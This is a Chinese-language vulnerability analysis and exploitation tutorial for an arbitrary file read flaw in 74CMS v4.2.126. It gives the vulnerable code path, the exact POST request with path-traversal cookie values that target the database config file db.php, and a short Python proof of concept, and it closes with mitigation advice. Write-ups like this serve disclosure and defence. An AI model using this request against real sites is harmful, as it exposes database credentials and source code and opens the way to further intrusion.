某cms v4.2.126-任意文件读取漏洞
字数 1399 2025-08-29 08:31:41
74CMS v4.2.126 任意文件读取漏洞分析及利用教程
0x00 漏洞概述
- 厂商:74CMS(骑士人才系统)
- 影响版本:v4.2.126(基于ThinkPHP 3.2.3重构)
- 漏洞类型:任意文件读取
- 利用条件:无需升级至最新版本
- 漏洞文件:
MembersController.class.php - 关键函数:
_save_avatar()、register()
0x01 环境搭建
- 下载安装
- 官网下载基础版安装包:http://www.74cms.com/download/index.html
- 完成安装后进入后台,检查版本并升级(若提示“域名不合法”需修改文件):
- 文件路径:
/Application/Admin/Controller/ApplyController.class.php - 修改内容:将所有
$_SERVER['HTTP_HOST']替换为http://baidu.com
- 文件路径:
0x02 漏洞原理
关键代码分析
-
漏洞触发点:
_save_avatar($avatar, $uid)- 文件路径:
/Application/Home/Controller/MembersController.class.php - 漏洞逻辑:
$avatar(用户可控)拼接为文件路径$path(如Application/Common/Conf/db.php)。- 通过
copy($path, $filename)将目标文件复制为头像文件($filename为MD5($uid+time()).jpg)。 - 由于未校验
$avatar内容,导致任意文件读取。
- 文件路径:
-
调用链:
register()→_save_avatar()- 当POST参数
ucenter=bind时,从Cookie中读取members_uc_info和members_bind_info数组。 - 合并数组后,若
$data['utype']=2(可控)绕过注册逻辑,进入头像保存流程。
- 当POST参数
0x03 漏洞复现
利用步骤
-
构造请求
- URL:
http://target.com/index.php?m=Home&c=Members&a=register - POST数据:
reg_type=2&utype=2&org=bind&ucenter=bind - Cookie(关键):
members_bind_info[temp_avatar]=../../Application/Common/Conf/db.php; members_bind_info[type]=qq; members_uc_info[password]=123456; members_uc_info[uid]=1; members_uc_info[username]=test; - Headers:
Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest
- URL:
-
结果获取
- 文件内容会被复制到头像目录:
/data/upload/avatar/{MD5}.jpg - 通过访问生成的MD5文件名下载文件(如
/data/upload/avatar/a1b2c3d4.jpg)。
- 文件内容会被复制到头像目录:
0x04 漏洞利用工具
- 自动化脚本
- 参考附件
74cms_file_read.zip,实现以下功能:- 自动发送恶意请求。
- 计算目标文件的MD5路径并下载。
- 伪代码逻辑:
import requests target = "http://target.com" file_to_read = "../../Application/Common/Conf/db.php" cookies = { "members_bind_info[temp_avatar]": file_to_read, "members_uc_info[uid]": "1" } response = requests.post( f"{target}/index.php?m=Home&c=Members&a=register", data={"ucenter": "bind", "utype": 2}, cookies=cookies )
- 参考附件
0x05 修复建议
- 临时缓解
- 禁用
register接口或限制Cookie中members_bind_info的输入。
- 禁用
- 官方补丁
- 升级至最新版本,或修补
_save_avatar()函数,校验$avatar路径合法性。
- 升级至最新版本,或修补
0x06 总结
- 利用难点:需控制Cookie中的数组参数,但通过自动化工具可简化。
- 渗透价值:可读取数据库配置(
db.php)、源码等敏感信息,进一步渗透服务器。
附录:漏洞利用工具及测试环境配置脚本详见先知社区原帖附件。